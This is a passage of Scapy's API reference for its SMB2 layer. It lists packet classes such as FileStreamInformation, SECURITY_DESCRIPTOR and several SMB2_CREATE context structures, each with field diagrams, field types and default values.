+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                       VOLUMECREATIONTIME                      |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                       VOLUMESERIALNUMBER                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                       VOLUMELABELLENGTH                       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|SUPPORTSOBJECTS|    RESERVED   |          VOLUMELABEL          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. FileFsVolumeInformation                   


FileFsVolumeInformation fields






	VolumeCreationTime

	UTCTimeField

	None



	VolumeSerialNumber

	LEIntField

	0



	VolumeLabelLength

	LEIntField

	0



	SupportsObjects

	ByteField

	1



	Reserved

	ByteField

	0



	VolumeLabel

	StrNullFieldUtf16

	b'C\x00'















	
class scapy.layers.smb2.FileFullDirectoryInformation(_pkt, /, *, files=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L601-L609]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             FILES             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                Fig. FileFullDirectoryInformation                 


FileFullDirectoryInformation fields






	files

	_NextPacketListField

	[]















	
class scapy.layers.smb2.FileIdBothDirectoryInformation(_pkt, /, *, files=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L626-L634]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             FILES             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

               Fig. FileIdBothDirectoryInformation                


FileIdBothDirectoryInformation fields






	files

	_NextPacketListField

	[]















	
class scapy.layers.smb2.FileInternalInformation(_pkt, /, *, IndexNumber=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L640-L646]

	Bases: Packet


	
aliastypes

	




	
default_payload_class(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L645-L646]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          INDEXNUMBER                          |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. FileInternalInformation                   


FileInternalInformation fields






	IndexNumber

	LELongField

	0















	
class scapy.layers.smb2.FileModeInformation(_pkt, /, *, Mode=<Flag 0 ()>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L652-L670]

	Bases: Packet


	
aliastypes

	




	
default_payload_class(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L669-L670]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              MODE                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. FileModeInformation                     


FileModeInformation fields






	Mode

	FlagsField

	<Flag 0 ()>















	
class scapy.layers.smb2.FileNetworkOpenInformation(_pkt, /, *, CreationTime=None, LastAccessTime=None, LastWriteTime=None, ChangeTime=None, AllocationSize=4096, EndOfFile=0, FileAttributes=<Flag 128 (FILE_ATTRIBUTE_NORMAL)>, Reserved2=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L485-L522]

	Bases: Packet


	
aliastypes

	




	
default_payload_class(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L521-L522]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          CREATIONTIME                         |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         LASTACCESSTIME                        |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         LASTWRITETIME                         |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           CHANGETIME                          |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         ALLOCATIONSIZE                        |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           ENDOFFILE                           |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         FILEATTRIBUTES                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           RESERVED2                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                 Fig. FileNetworkOpenInformation                  


FileNetworkOpenInformation fields






	CreationTime

	UTCTimeField

	None



	LastAccessTime

	UTCTimeField

	None



	LastWriteTime

	UTCTimeField

	None



	ChangeTime

	UTCTimeField

	None



	AllocationSize

	LELongField

	4096



	EndOfFile

	LELongField

	0



	FileAttributes

	FlagsField

	<Flag 128 (FILE_ATTRIBUTE_NORMAL)>



	Reserved2

	IntField

	0















	
class scapy.layers.smb2.FilePositionInformation(_pkt, /, *, CurrentByteOffset=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L676-L682]

	Bases: Packet


	
aliastypes

	




	
default_payload_class(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L681-L682]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                       CURRENTBYTEOFFSET                       |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. FilePositionInformation                   


FilePositionInformation fields






	CurrentByteOffset

	LELongField

	0















	
class scapy.layers.smb2.FileStandardInformation(_pkt, /, *, AllocationSize=4096, EndOfFile=0, NumberOfLinks=1, DeletePending=0, Directory=0, Reserved=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L688-L699]

	Bases: Packet


	
aliastypes

	




	
default_payload_class(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L698-L699]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         ALLOCATIONSIZE                        |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           ENDOFFILE                           |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         NUMBEROFLINKS                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| DELETEPENDING |   DIRECTORY   |            RESERVED           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. FileStandardInformation                   


FileStandardInformation fields






	AllocationSize

	LELongField

	4096



	EndOfFile

	LELongField

	0



	NumberOfLinks

	LEIntField

	1



	DeletePending

	ByteField

	0



	Directory

	ByteField

	0



	Reserved

	ShortField

	0















	
class scapy.layers.smb2.FileStreamInformation(_pkt, /, *, Next=0, StreamNameLength=None, StreamSize=0, StreamAllocationSize=4096, StreamName=b':\x00:\x00$\x00D\x00A\x00T\x00A\x00')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L705-L714]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              NEXT                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                        STREAMNAMELENGTH                       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           STREAMSIZE                          |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                      STREAMALLOCATIONSIZE                     |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           STREAMNAME          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. FileStreamInformation                    


FileStreamInformation fields






	Next

	LEIntField

	0



	StreamNameLength

	FieldLenField

	None



	StreamSize

	LELongField

	0



	StreamAllocationSize

	LELongField

	4096



	StreamName

	StrLenFieldUtf16

	b':\x00:\x00$\x00D\x00A\x00T\x00A\x00'















	
class scapy.layers.smb2.MOVE_DST_IPADDR(_pkt, /, *, Type=1, Reserved=0, IPAddress=None, Reserved2=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L1606-L1623]

	Bases: Packet


	
aliastypes

	




	
default_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L1622-L1623]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              TYPE                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            RESERVED                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           IPADDRESS                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           RESERVED2                           |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. MOVE_DST_IPADDR                       


MOVE_DST_IPADDR fields






	Type

	LEIntEnumField

	1



	Reserved

	IntField

	0



	IPAddress

	MultipleTypeField (IP6Field, IPField)

	None



	Reserved2

	StrFixedLenField (Cond)

	b''















	
class scapy.layers.smb2.NETWORK_INTERFACE_INFO(_pkt, /, *, Next=None, IfIndex=1, Capability=<Flag 1 (RSS_CAPABLE)>, Reserved=0, LinkSpeed=10000000000, SockAddr_Storage=<SOCKADDR_STORAGE  |>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L3260-L3279]

	Bases: Packet


	
aliastypes

	




	
default_payload_class(_)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L3278-L3279]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              NEXT                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            IFINDEX                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           CAPABILITY                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            RESERVED                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           LINKSPEED                           |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        SOCKADDR STORAGE       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. NETWORK_INTERFACE_INFO                    


NETWORK_INTERFACE_INFO fields






	Next

	LEIntField

	None



	IfIndex

	LEIntField

	1



	Capability

	FlagsField

	<Flag 1 (RSS_CAPABLE)>



	Reserved

	LEIntField

	0



	LinkSpeed

	ScalingField

	10000000000



	SockAddr_Storage

	PacketField

	<SOCKADDR_STORAGE  |>















	
class scapy.layers.smb2.SECURITY_DESCRIPTOR(_pkt, /, *, Revision=1, Sbz1=0, Control=<Flag 0 ()>, OwnerSidOffset=0, GroupSidOffset=0, SaclOffset=0, DaclOffset=0, Data=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L1165-L1221]

	Bases: _NTLMPayloadPacket


	
OFFSET = 20

	




	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    REVISION   |      SBZ1     |            CONTROL            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         OWNERSIDOFFSET                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         GROUPSIDOFFSET                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           SACLOFFSET                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           DACLOFFSET                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. SECURITY_DESCRIPTOR                     


SECURITY_DESCRIPTOR fields






	Revision

	ByteField

	1



	Sbz1

	ByteField

	0



	Control

	FlagsField

	<Flag 0 ()>



	OwnerSidOffset

	LEIntField

	0



	GroupSidOffset

	LEIntField

	0



	SaclOffset

	LEIntField

	0



	DaclOffset

	LEIntField

	0



	Data

	_NTLMPayloadField

	[]















	
class scapy.layers.smb2.SMB2_CREATE_ALLOCATION_SIZE(_pkt, /, *, AllocationSize=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L2452-L2455]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         ALLOCATIONSIZE                        |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                 Fig. SMB2_CREATE_ALLOCATION_SIZE                 


SMB2_CREATE_ALLOCATION_SIZE fields






	AllocationSize

	LELongField

	0















	
class scapy.layers.smb2.SMB2_CREATE_APP_INSTANCE_ID(_pkt, /, *, StructureSize=20, Reserved=0, AppInstanceId=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L2499-L2504]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         STRUCTURESIZE         |            RESERVED           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         APPINSTANCEID                         |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                 Fig. SMB2_CREATE_APP_INSTANCE_ID                 


SMB2_CREATE_APP_INSTANCE_ID fields






	StructureSize

	XLEShortField

	20



	Reserved

	LEShortField

	0



	AppInstanceId

	XStrFixedLenField

	b''















	
class scapy.layers.smb2.SMB2_CREATE_APP_INSTANCE_VERSION(_pkt, /, *, StructureSize=24, Reserved=0, Padding=0, AppInstanceVersionHigh=0, AppInstanceVersionLow=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L2507-L2514]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         STRUCTURESIZE         |            RESERVED           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            PADDING                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                     APPINSTANCEVERSIONHIGH                    |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                     APPINSTANCEVERSIONLOW                     |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

              Fig. SMB2_CREATE_APP_INSTANCE_VERSION               


SMB2_CREATE_APP_INSTANCE_VERSION fields






	StructureSize

	XLEShortField

	24



	Reserved

	LEShortField

	0



	Padding

	LEIntField

	0



	AppInstanceVersionHigh

	LELongField

	0



	AppInstanceVersionLow

	LELongField

	0















	
class scapy.layers.smb2.SMB2_CREATE_DURABLE_HANDLE_RECONNECT(_pkt, /, *, Data=<SMB2_FILEID  |>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L2440-L2443]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

            Fig. SMB2_CREATE_DURABLE_HANDLE_RECONNECT             


SMB2_CREATE_DURABLE_HANDLE_RECONNECT fields






	Data

	PacketField

	<SMB2_FILEID  |>















	
class scapy.layers.smb2.SMB2_CREATE_DURABLE_HANDLE_RECONNECT_V2(_pkt, /, *, FileId=<SMB2_FILEID  |>, CreateGuid=UUID('00000000-0000-0000-0000-000000000000'), Flags=<Flag 0 ()>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L2484-L2496]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             FILEID            |           CREATEGUID          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |             FLAGS             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

           Fig. SMB2_CREATE_DURABLE_HANDLE_RECONNECT_V2           


SMB2_CREATE_DURABLE_HANDLE_RECONNECT_V2 fields






	FileId

	PacketField

	<SMB2_FILEID  |>



	CreateGuid

	UUIDField

	UUID('00000000-0000-0000-0000-000000000000')



	Flags

	FlagsField

	<Flag 0 ()>















	
class scapy.layers.smb2.SMB2_CREATE_DURABLE_HANDLE_REQUEST(_pkt, /, *, DurableRequest=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L2434-L2437]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         DURABLEREQUEST                        |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

             Fig. SMB2_CREATE_DURABLE_HANDLE_REQUEST              


SMB2_CREATE_DURABLE_HANDLE_REQUEST fields






	DurableRequest

	XStrFixedLenField

	b''















	
class scapy.layers.smb2.SMB2_CREATE_DURABLE_HANDLE_REQUEST_V2(_pkt, /, *, Timeout=0, Flags=<Flag 0 ()>, Reserved=b'', CreateGuid=UUID('00000000-0000-0000-0000-000000000000'))[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L2476-L2481]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            TIMEOUT                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             FLAGS                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            RESERVED                           |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           CREATEGUID                          |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

            Fig. SMB2_CREATE_DURABLE_HANDLE_REQUEST_V2            


SMB2_CREATE_DURABLE_HANDLE_REQUEST_V2 fields






	Timeout

	LEIntField

	0



	Flags

	FlagsField

	<Flag 0 ()>



	Reserved

	XStrFixedLenField

	b''



	CreateGuid

	UUIDField

	UUID('00000000-0000-0000-0000-000000000000')















	
class scapy.layers.smb2.SMB2_CREATE_DURABLE_HANDLE_RESPONSE(_pkt, /, *, Reserved=b'\x00\x00\x00\x00\x00\x00\x00\x00')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L2361-L2364]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            RESERVED                           |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

             Fig. SMB2_CREATE_DURABLE_HANDLE_RESPONSE             


SMB2_CREATE_DURABLE_HANDLE_RESPONSE fields






	Reserved

	XStrFixedLenField

	b'\x00\x00\x00\x00\x00\x00\x00\x00'















	
class scapy.layers.smb2.SMB2_CREATE_DURABLE_HANDLE_RESPONSE_V2(_pkt, /, *, Timeout=0, Flags=<Flag 0 ()>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L2417-L2428]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            TIMEOUT                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             FLAGS                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

           Fig. SMB2_CREATE_DURABLE_HANDLE_RESPONSE_V2            


SMB2_CREATE_DURABLE_HANDLE_RESPONSE_V2 fields






	Timeout

	LEIntField

	0



	Flags

	FlagsField

	<Flag 0 ()>















	
class scapy.layers.smb2.SMB2_CREATE_QUERY_MAXIMAL_ACCESS_REQUEST(_pkt, /, *, Timestamp=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L2446-L2449]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           TIMESTAMP                           |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

          Fig. SMB2_CREATE_QUERY_MAXIMAL_ACCESS_REQUEST           


SMB2_CREATE_QUERY_MAXIMAL_ACCESS_REQUEST fields






	Timestamp

	LELongField

	0















	
class scapy.layers.smb2.SMB2_CREATE_QUERY_MAXIMAL_ACCESS_RESPONSE(_pkt, /, *, QueryStatus=0, MaximalAccess=<Flag 0 ()>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L2367-L2371]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
